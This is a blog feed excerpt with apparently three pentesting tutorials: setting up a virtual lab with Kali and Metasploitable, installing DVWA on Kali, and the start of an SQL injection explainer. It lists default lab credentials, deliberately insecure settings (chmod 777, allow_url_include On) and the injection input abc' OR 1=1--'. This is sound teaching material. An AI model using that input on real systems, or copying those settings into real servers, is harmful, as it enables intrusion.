<p>After a successful install, proceed to launch the virtual box from the application menu.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="871" height="352" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.png" alt="" class="wp-image-3459" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.png 871w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-300x121.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-768x310.png 768w" sizes="auto, (max-width: 871px) 100vw, 871px" /></figure>



<h2 id="step-2-install-kali-linux-on-virtualbox" class="wp-block-heading">Step 2. Install Kali Linux on VirtualBox</h2>



<p>Once you have VirtualBox installed and running, we can start installing our virtual machines. We will begin by installing the penetration testing distribution of our choice.</p>



<p>In this post, we will use Kali Linux. However, that should not limit you from using other security operating systems like BlackArch Linux, Parrot, etc.</p>



<p>To install Kali Linux virtual machine, we will not need to download the setup ISO file and configure everything from scratch. Nowadays, Kali Linux comes packaged in several formats.</p>



<ul class="wp-block-list"><li>Bare Metal setup &#8211; used to install Kali Linux on your PC in a single boot or multi-boot setup.</li><li>Virtual machines: This option provides you with pre-configured virtual machine images to install on your virtualization software. As of writing this post, the only supported virtualization platforms are VMware and VirtualBox.</li><li>ARM setup: Used for ARM devices such as the Raspberry Pi.</li><li>Cloud setup</li><li>Container setup (Docker)</li><li>Live Boot setup</li><li>WSL (Windows Subsystem for Linux)</li></ul>



<p>In this post, we will download the Kali Linux virtual machine setup for VirtualBox from the official <a href="https://www.kali.org/get-kali/#kali-virtual-machines" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Kali Linux download page<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. It is a `.ova`&nbsp;file.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="821" height="465" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-50.png" alt="" class="wp-image-3460" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-50.png 821w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-50-300x170.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-50-768x435.png 768w" sizes="auto, (max-width: 821px) 100vw, 821px" /></figure>



<p>After the download is complete, launch VirtualBox from your applications menu and follow the steps below:</p>



<ol class="squaretype-style wp-block-list"><li>Click on the <strong>File</strong> menu and select <strong>Import Appliance</strong>. Alternatively, you can use the keyboard shortcut (<strong>Ctrl + I</strong>).</li><li>A new window will open. Click on the <strong>file icon</strong>, select the `Kali Linux.ova` file you downloaded, and click <strong>Next</strong>.</li><li>In the next window, you will see all the information about the virtual machine. Select the <strong>import</strong> option at the bottom to import the virtual machine.</li></ol>



<p>After a successful import, you will see Kali Linux listed on your VirtualBox window, as shown in the image below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="796" height="421" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-51.png" alt="" class="wp-image-3461" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-51.png 796w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-51-300x159.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-51-768x406.png 768w" sizes="auto, (max-width: 796px) 100vw, 796px" /></figure>



<p>You can tweak the settings of the virtual machine depending on your system resources. When done, click <strong>Start</strong> to boot the virtual machine. You don’t need to perform any configurations, just sit and wait till you get to the Kali Linux login screen.</p>



<p>The default credentials are:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: Kali</li><li><strong>Password</strong>: Kali</li></ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="711" height="237" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-52.png" alt="" class="wp-image-3462" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-52.png 711w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-52-300x100.png 300w" sizes="auto, (max-width: 711px) 100vw, 711px" /></figure>



<h2 id="step-3-install-windows-10-on-virtualbox" class="wp-block-heading">Step 3. Install Windows 10 on VirtualBox</h2>



<p>Microsoft&#8217;s Windows is the most popular operating system used worldwide. As an ethical hacker, you need to understand how to exploit and find vulnerabilities on Windows systems and software. For that case, we will also need to install Windows as a virtual machine &#8211; specifically Windows 10. You can download Windows 10 ISO file from <a href="https://www.microsoft.com/en-us/software-download/windows10ISO" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Microsoft Official website<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>Launch VirtualBox and follow the steps below to install Windows 10</p>



<ol class="squaretype-style wp-block-list"><li>Click <strong>New</strong> on the VirtualBox window</li><li>A small window will open. Enter the name of your new operating system (for example, Windows 10). Click <strong>Next</strong>.</li><li>Enter the memory size you wish to assign your new virtual machine and click <strong>Next</strong>.</li><li>In the next window, select Create a virtual hard disk now and click <strong>Next</strong>.</li><li>Select `VDI` (VirtualBox Disk Image)</li><li>Select whether you want to use the <strong>Dynamically allocated</strong> or <strong>Fixed Size</strong> hard disk on the next screen. Click <strong>Next</strong>.</li><li>Set the storage size of your Windows 10 virtual machine. Click <strong>Create</strong>.</li></ol>



<p>That will create a Windows 10 virtual machine, as shown in the image below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="798" height="346" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-53.png" alt="" class="wp-image-3463" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-53.png 798w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-53-300x130.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-53-768x333.png 768w" sizes="auto, (max-width: 798px) 100vw, 798px" /></figure>



<p>To install Windows 10 as a virtual machine, click the <strong>Start</strong> button on the VirtualBox window. A window will pop up and prompt you to select the Windows 10 ISO file you downloaded.</p>



<p>Click <strong>Start</strong> when done. After a few seconds, you will get to the Windows 10 installation screen.</p>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="635" height="373" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-54.png" alt="" class="wp-image-3464" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-54.png 635w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-54-300x176.png 300w" sizes="auto, (max-width: 635px) 100vw, 635px" /></figure></div>



<p>Continue with the installation process like you were installing Windows natively on your PC.</p>



<p>When done, you can proceed to install Metasploitable.</p>



<h2 id="step-4-install-metasploitable" class="wp-block-heading">Step 4. Install Metasploitable</h2>



<p>Metasploitable is an intentionally vulnerable Linux-based system used to practice penetration testing.</p>



<p>Like the Kali Linux virtual machine, Metasploitable comes in a pre-configured virtual machine, making the whole installation easier.</p>



<p>Head over to <a href="https://sourceforge.net/projects/metasploitable/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SourceForge<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and download the Metasploitable VM.</p>



<p>After a successful download, launch VirtualBox and follow the steps below:</p>



<ol class="squaretype-style wp-block-list"><li>Click <strong>New</strong> on the VirtualBox window</li><li>Set a name for your virtualization machine (for example, `Metasploitable-2`). Click <strong>Next</strong>.</li><li>Set the memory (RAM) size. Metasploitable can run efficiently on 512 MB of RAM. Click <strong>Next</strong>.</li><li>On the next window, select <em>&#8220;Use an existing virtual hard disk file.&#8221;</em></li><li>Click the file icon and select the Metasploitable VMDK file.</li><li>Click <strong>Create</strong></li></ol>



<p>You should now see Metasploitale virtual machine on your VirtualBox window as shown in the image below:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="798" height="383" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-55.png" alt="" class="wp-image-3465" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-55.png 798w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-55-300x144.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-55-768x369.png 768w" sizes="auto, (max-width: 798px) 100vw, 798px" /></figure>



<p>Click <strong>Start</strong> to launch Metasploitable.</p>



<p>This vulnerable machine doesn’t come with a Graphical User Interface (GUI). Therefore, when it’s fully booted, all you will see is a console. Use the following default credentials to log in:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: msfadmin</li><li><strong>Password</strong>: msfadmin</li></ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="736" height="254" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-56.png" alt="" class="wp-image-3466" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-56.png 736w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-56-300x104.png 300w" sizes="auto, (max-width: 736px) 100vw, 736px" /></figure>



<h2 id="final-thoughts" class="wp-block-heading">Final Thoughts</h2>



<p>This post has given you a step-by-step guide to setting up a virtual penetration testing guide. You can now use Kali Linux to exploit your target machines (Windows or Metapsploitable). However, that shouldn’t be the end. You can install more vulnerable machines like the Buggy Web Application (bWAPP), Bee Box, OWASP Broken Web Apps, and much more.</p>



<p>Additionally, depending on the field you want to specialize in, you can consider adding more advanced penetration testing systems. For example, if you’re going to specialize in web application security, try using the Samurai Web Testing Framework. Did you come across any issues, or do you have any additional information for our readers? Please, feel free to let us know in the comments and we&#8217;ll get back to you as soon as we can.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3458</post-id>	</item>
		<item>
		<title>How to Install DVWA on Kali Linux for Pentesting Practice</title>
		<link>https://nooblinux.com/how-to-install-dvwa/</link>
					<comments>https://nooblinux.com/how-to-install-dvwa/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 23:08:20 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[kali]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3441</guid>

					<description><![CDATA[Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available. Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available.</p>



<p class="orange-border">Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term with hefty fines.</p>



<p>Practice makes perfect, but then, where do you practice hacking skills?</p>



<p>There are so many platforms available that you can use to practice penetration testing. Some of these are online platforms like <a href="https://tryhackme.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TryHackMe<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.hackthebox.eu/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">HackTheBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, etc.</p>



<p>Some like <a href="https://vulnhub.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Vulnhub<span class="wpel-icon wpel-image wpel-icon-19"></span></a> allow you to download vulnerable virtual machines that you can exploit. This post will look at one of the platforms that you can install and set up on your Kali Linux system &#8211; The<strong><em> Damn Vulnerable Web Application (DVWA)</em></strong>.</p>



<p><strong>DVWA</strong> is a vulnerable web application developed with PHP and MYSQL.</p>



<p><strong>Yes!</strong> It’s intentionally developed to be vulnerable.</p>



<p>From my experience, it’s a great platform for both beginners and skilled since you have an option to set the desired security level (low, medium, high or impossible).</p>



<p>It’s also a great resource for web developers who wish to develop web applications with security in mind.</p>



<p class="blue-border">To learn a bit on how you can practice on it, you can check our related tutorial on <a href="https://nooblinux.com/sql-injection-exploitation-with-examples-using-dvwa/" data-wpel-link="internal">explaining SQL injections using DVWA</a></p>



<p>Let’s dive in and get started right away.</p>



<p class="purple-border"><strong>Note:</strong> This tutorial should work on other Debian-based distros, as well.</p>






<h2 id="step-1-download-dvwa" class="wp-block-heading">Step 1. Download DVWA</h2>



<p>Since we will be setting up DVWA on our localhost, launch the Terminal and navigate to the <code>/var/www/html</code> directory. That’s the location where localhost files are stored.</p>



<pre class="wp-block-preformatted promptkali">cd /var/www/html</pre>



<p>Next, we will clone the DVWA <a href="https://github.com/ethicalhack3r/DVWA" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GitHub repository<span class="wpel-icon wpel-image wpel-icon-19"></span></a> in the <strong>/html</strong> directory using the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo git clone https://github.com/ethicalhack3r/DVWA</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for kali: 
Cloning into 'DVWA'...
remote: Enumerating objects: 3398, done.
remote: Counting objects: 100% (85/85), done.
remote: Compressing objects: 100% (54/54), done.
remote: Total 3398 (delta 38), reused 58 (delta 29), pack-reused 3313
Receiving objects: 100% (3398/3398), 1.65 MiB | 4.21 MiB/s, done.
Resolving deltas: 100% (1508/1508), done.</pre>



<h2 id="step-2-configure-dvwa" class="wp-block-heading">Step 2. Configure DVWA</h2>



<p>After successfully cloning the repository, run the ls command to confirm DVWA was successfully cloned.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">DVWA  index.html  index.nginx-debian.html</pre>



<p>From the image above, you can see the DVWA folder. Now we need to assign <strong>Read</strong>, <strong>Write</strong> and <strong>Execute</strong> permissions (<strong>777</strong>) to this folder. Execute the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo chmod -R 777 DVWA</pre>



<p>To set up and configure DVWA, we will need to navigate to the <strong>/dvwa/config</strong> directory. Use the command below:</p>



<pre class="wp-block-preformatted promptkali">cd DVWA/config</pre>



<p>Run the ls command to see the contents of the config directory.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php.dist</pre>



<p>You should see a file with the name <code>config.inc.php.dist</code>. That file contains the default DVWA configurations.</p>



<p>We will not tamper with it, and it will act as our backup if things go south. Instead, we will create a copy of this file with the name <code>config.inc.php</code> that we will use to configure DVWA. Use the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo cp config.inc.php.dist config.inc.php</pre>



<p>You can use the <code>ls</code> command to check if the file was copied successfully.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php  config.inc.php.dist</pre>



<p>Now, open the <code>config.inc.php</code> file with the <code>nano</code> editor to make the necessary configurations.</p>



<pre class="wp-block-preformatted promptkali">sudo nano config.inc.php</pre>



<p>Scroll down to the point where you will see parameters like <strong>db_database</strong>, <strong>db_user</strong>, <strong>db_password</strong>, etc., as shown in the image below. Feel free to change these values, but note them down since you will require them when setting up the database. In my case, I will set <strong>db_user</strong> to <code>userDVWA</code> and <strong>db_password</strong> to <code>dvwa</code>.</p>


<div class="codeblock-title">Changed <strong>db_user</strong> and <strong>db_password</strong></div>



<pre class="wp-block-preformatted">...
$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'userDVWA';
$_DVWA[ 'db_password' ] = 'dvwa';
$_DVWA[ 'db_port'] = '3306';
...</pre>



<p>Save your changes (<strong>Ctrl + S</strong>) and Exit (<strong>Ctrl +X</strong>).</p>



<h2 id="step-3-configure-database" class="wp-block-heading">Step 3. Configure Database</h2>



<p>By default, Kali Linux comes installed with the <strong>MariaDB</strong> relational database management system. You, therefore, don’t need to install any packages. First, start the <strong>mysql service</strong> with the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start mysql</pre>



<p>You can check whether the service is running with the command:</p>



<pre class="wp-block-preformatted promptkali">systemctl status mysql</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● mariadb.service - MariaDB 10.5.9 database server
     Loaded: loaded (/lib/systemd/system/mariadb.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 19:13:38 EDT; 8s ago
       Docs: man:mariadbd(8)
             https://mariadb.com/kb/en/library/systemd/
    Process: 1632 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /&gt;
    Process: 1634 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP&gt;
    Process: 1636 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] &gt;
    Process: 1699 ExecStartPost=/bin/sh -c systemctl unset-environment _WSRE&gt;
    Process: 1701 ExecStartPost=/etc/mysql/debian-start (code=exited, status&gt;
   Main PID: 1684 (mariadbd)
     Status: "Taking your SQL requests now..."
      Tasks: 15 (limit: 2287)
     Memory: 109.0M
        CPU: 1.339s
     CGroup: /system.slice/mariadb.service
             └─1684 /usr/sbin/mariadbd</pre>



<p>To log in to the database, use the command below. In our case, we are using <strong>root</strong> since that is the superuser name set on our system. If you have something different, then you will need to replace the root.</p>



<pre class="wp-block-preformatted promptkali">sudo mysql -u root -p</pre>



<p>You will be prompted for a password. However, since we haven’t set any yet, just hit Enter to continue.</p>



<pre class="wp-block-preformatted">Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 45
Server version: 10.5.9-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.</pre>



<p>We will first create a new user using the credentials we set in the <strong>config.inc.php</strong> file in the DVWA directory. Execute the command below, <em>replacing the username and password</em> with your preset credentials.</p>



<pre class="wp-block-preformatted promptmariadb">create user 'userDVWA'@'127.0.0.1' identified by "dvwa";</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.010 sec)</pre>



<p>We now need to grant this user total privilege over the <code>dvwa</code> database. Execute the command below, <em>replacing the username and password</em> with your credentials.</p>



<pre class="wp-block-preformatted promptmariadb">grant all privileges on dvwa.* to 'userDVWA'@'127.0.0.1' identified by 'dvwa';</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.001 sec)</pre>



<p>That’s it! We are done configuring the database. Type <strong>Exit</strong> to close it.</p>



<h2 id="step-4-configure-apache-server" class="wp-block-heading">Step 4. Configure Apache Server</h2>



<p>The Apache web server comes installed by default on Kali Linux. Therefore, we don’t have to need to install any additional packages.</p>



<p>To get started configuring <strong>Apache2</strong>, launch the <strong>Terminal</strong> and navigate the <code>/etc/php/7.4/apache2</code> directory.</p>



<p class="neon-border"><strong>Note</strong>: As of writing this post, the PHP version available for Kali Linux is 7.4. If there is an update, running the command might raise the<strong> no such file or directory</strong> error. Therefore, you might first want to check your PHP version (<code>ls /etc/php</code>) and replace it accordingly in the command above.</p>



<pre class="wp-block-preformatted promptkali">cd /etc/php/7.4/apache2</pre>



<p>When you execute the <strong>ls</strong> command, you will see a file called <code>php.ini</code>. Execute the command below to edit this file using the <strong>nano</strong> editor.</p>



<pre class="wp-block-preformatted promptkali">sudo nano php.ini</pre>



<p>Scroll and look for the <strong>allow_url_fopen</strong> and <strong>allow_url_include</strong> lines and ensure that both are set to <code>On</code>.</p>



<p>By default, both or one of them is always set to <code>Off</code>.</p>



<pre class="wp-block-preformatted">; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as &gt;
; http://php.net/allow-url-include
allow_url_include = On</pre>



<p>Save your changes (<strong>Ctrl +S</strong>) and Exit (<strong>Ctrl + X</strong>).</p>



<p>Proceed to start the apache webserver service with the command below. You can check whether the service is running by running the status command.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start apache2
systemctl status apache2</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● apache2.service - The Apache HTTP Server                                   
     Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 20:25:48 EDT; 5s ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 2245 ExecStart=/usr/sbin/apachectl start (code=exited, status=0&gt;
   Main PID: 2256 (apache2)
      Tasks: 6 (limit: 2287)
     Memory: 17.8M
        CPU: 82ms
     CGroup: /system.slice/apache2.service
             ├─2256 /usr/sbin/apache2 -k start
             ├─2258 /usr/sbin/apache2 -k start
             ├─2259 /usr/sbin/apache2 -k start
             ├─2260 /usr/sbin/apache2 -k start
             ├─2261 /usr/sbin/apache2 -k start
             └─2262 /usr/sbin/apache2 -k start
</pre>



<h2 id="step-5-open-dvwa-on-your-web-browser" class="wp-block-heading">Step 5. Open DVWA on Your Web Browser</h2>



<p>Up to this point, we have configured DVWA, Database, and the Apache webserver.</p>



<p>We can now proceed to start the DVWA application. Launch your Web browser and type the URL below.</p>



<pre class="wp-block-preformatted">127.0.0/DVWA</pre>



<p>This action will redirect us to the DVWA <code>setup.php</code> page at <code>http://127.0.0.1/DVWA/setup.php</code>.</p>



<p>When you scroll down, you will see some errors in red color. <strong>Don’t panic!</strong> Click the <strong>Create / Reset Database</strong> button at the end of the page.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="848" height="329" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png" alt="" class="wp-image-3444" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png 848w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-300x116.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-768x298.png 768w" sizes="auto, (max-width: 848px) 100vw, 848px" /></figure>



<p>That will create and configure the DVWA database. After a few seconds, you will be redirected to the DVWA login page.</p>



<p>Use the <em>default credentials</em> below to log in.</p>



<ul class="wp-block-list"><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: password</li></ul>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="523" height="362" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png" alt="" class="wp-image-3445" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png 523w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-28-300x208.png 300w" sizes="auto, (max-width: 523px) 100vw, 523px" /></figure></div>



<p>After successfully logging in, you will be greeted by the DVWA homepage. On the left side, you can see all the available vulnerable pages you can use to practice.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="723" height="440" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png" alt="" class="wp-image-3446" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png 723w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-29-300x183.png 300w" sizes="auto, (max-width: 723px) 100vw, 723px" /></figure>



<p>You will also see the DVWA Security option that enables you to choose the security level depending on your skills.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="566" height="122" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png" alt="" class="wp-image-3447" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png 566w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-30-300x65.png 300w" sizes="auto, (max-width: 566px) 100vw, 566px" /></figure>



<p>That’s it! Now, you can start testing out your web penetration skills on the DVWA.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>DVWA is a great platform for both beginners and advanced users because of its multi-layered security support. I believe this post has given you a detailed guide on how to set up DVWA on your Kali Linux system.</p>



<p>If you faced issues or errors in any of the steps above, please feel free to let us know in the comments section or by <a href="https://nooblinux.com/contact/" data-wpel-link="internal">contacting us</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-install-dvwa/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3441</post-id>	</item>
		<item>
		<title>SQL Injection Exploitation Explanation &#038; Examples Using DVWA</title>
		<link>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/</link>
					<comments>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 22:41:17 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[sql]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3424</guid>

					<description><![CDATA[This post will explain SQL injection, the impact of successful SQL attacks, examples of SQL injection techniques, and how to prevent SQL injection. There are several applications that you can use to learn SQL injection. In this particular post, we will use the Damn Vulnerable Web Application (DVWA). It’s a web app developed in PHP [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>This post will explain SQL injection, the impact of successful SQL attacks, examples of SQL injection techniques, and how to prevent SQL injection.</p>



<p>There are several applications that you can use to learn SQL injection.</p>



<p>In this particular post, we will use the <a href="https://dvwa.co.uk/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Damn Vulnerable Web Application (DVWA)<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. It’s a web app developed in PHP and MySQL and intentionally made to be vulnerable.</p>



<p>If you don’t have DVWA installed yet, feel free to check out our post on <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">How to set up DVWA on Kali Linux</a>.</p>






<h3 id="what-is-sql-injection-sqli" class="wp-block-heading">What is SQL Injection (SQLI)?</h3>



<p>SQL injection, commonly referred to as SQLI, is an attack where an application allows unauthorized users to send SQL queries to the database and gain access to information they shouldn’t.</p>



<p class="orange-border">In most cases, hackers use SQL injection to retrieve user/company data, modify database contents or delete the entire database, thus bringing down the whole web system.<br><br>In fatal cases, attackers can escalate the SQL injection attack thus, gaining access to the entire underlying back-end infrastructure, server or even perform a Denial of Service attack (DoS).</p>



<p>As of 2021, <a href="https://owasp.org/www-project-top-ten/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">OWASP Top 10<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a standard awareness framework for developers, and web application security listed Injection (SQL, NoSQL, OS, and LDAP) as the number one vulnerability.</p>



<h3 id="the-impact-of-a-successful-sql-injection-attack" class="wp-block-heading">The Impact of a Successful SQL Injection Attack</h3>



<p>SQL injection is one of the popular attacks behind the data leaks that we see on the internet and the Dark Web. That includes information like user emails, usernames, passwords, and even credit card information. This attack leads to reputational damage and loss of revenue in regulatory fines. In other cases, attackers can escalate the SQL injection attack and create a persistent backdoor. That allows them to compromise the system for a long time and remain unnoticed.</p>



<h3 id="how-an-sql-injection-attack-works" class="wp-block-heading">How an SQL Injection Attack Works</h3>



<p>Think of a website with a simple login form with two fields &#8211; a username, password, and a Login or Submit button. After you enter the required credentials, when you hit the Submit button, the query sent to the database has this syntax:</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username=$user;</pre>



<p>E.g., If your name is JohnDoe,</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username='Johndoe';</pre>



<p>Anyone with a hacker’s mindset can decide to manipulate the application by entering a value different from the username. This value will be an SQL query to reveal or modify the database’s contents. For example, if the attacker entered abc&#8217; OR 1=1<em>&#8211;&#8216;</em> instead of the actual username, the resulting SQL query would look like this:</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username='abc' OR 1=1--';</pre>



<p>Let’s dissect this input <code>abc'</code> OR <code>1=1--'</code> and see how it manipulates the database.</p>



<ul class="wp-block-list"><li><code>abc'</code>: Here we just guessed any username but we added a single quote &#8216; at the end. The single quote closes our username field, and the following part becomes an SQL query.</li><li><code>OR</code> is a conjunction in SQL, and 1=1 will always be true. Therefore, no matter what you put in the username field, the query will always be True and return all the records of the <strong>userdb</strong> database.</li><li>The <code>--'</code>(double dash) is a comment in SQL. It tells the SQL server not to execute any query past this point. In this particular example, we are using double dash to comment out errors that would arise because of the trailing single quote at the end. You can also use <code>#</code> instead of <code>--</code>. E.g <code>abc' 1=1#</code></li></ul>



<p>I believe up to this point; you have a good understanding of what SQL injection is. Let’s dive in and exploit actual SQL injection queries on our DVWA.</p>



<h3 id="setup-dvwa-for-sql-injection" class="wp-block-heading">Setup DVWA for SQL Injection</h3>



<p>As stated above, if you haven’t configured DVWA on your system, please check out our post on <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">How to set up DVWA on Kali Linux</a>, which gives you a step-by-step procedure.</p>



<p>If you set up DVWA on your localhost, start Apache Web server and MySQl using the commands below:</p>



<pre class="wp-block-preformatted prompt">sudo systemctl start apache2</pre>



<pre class="wp-block-preformatted prompt">systemctl start mysql</pre>



<p>Open your browser and enter the URL <a href="https://127.0.0.1/dvwa" data-wpel-link="external" rel="external noopener" class="wpel-icon-right">127.0.0.1/dvwa<span class="wpel-icon wpel-image wpel-icon-19"></span></a> or <a href="https://127.0.0.1/DVWA" data-wpel-link="external" rel="external noopener" class="wpel-icon-right">127.0.0.1/DVWA<span class="wpel-icon wpel-image wpel-icon-19"></span></a> if you had renamed it. That will open the DVWA login page. Use the default credentials below:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: password</li></ul>



<p>After a successful login, you will see the DVWA main page. First, click on the DVWA Security on the bottom left, set security to Low, and click <em>Submit</em>.</p>



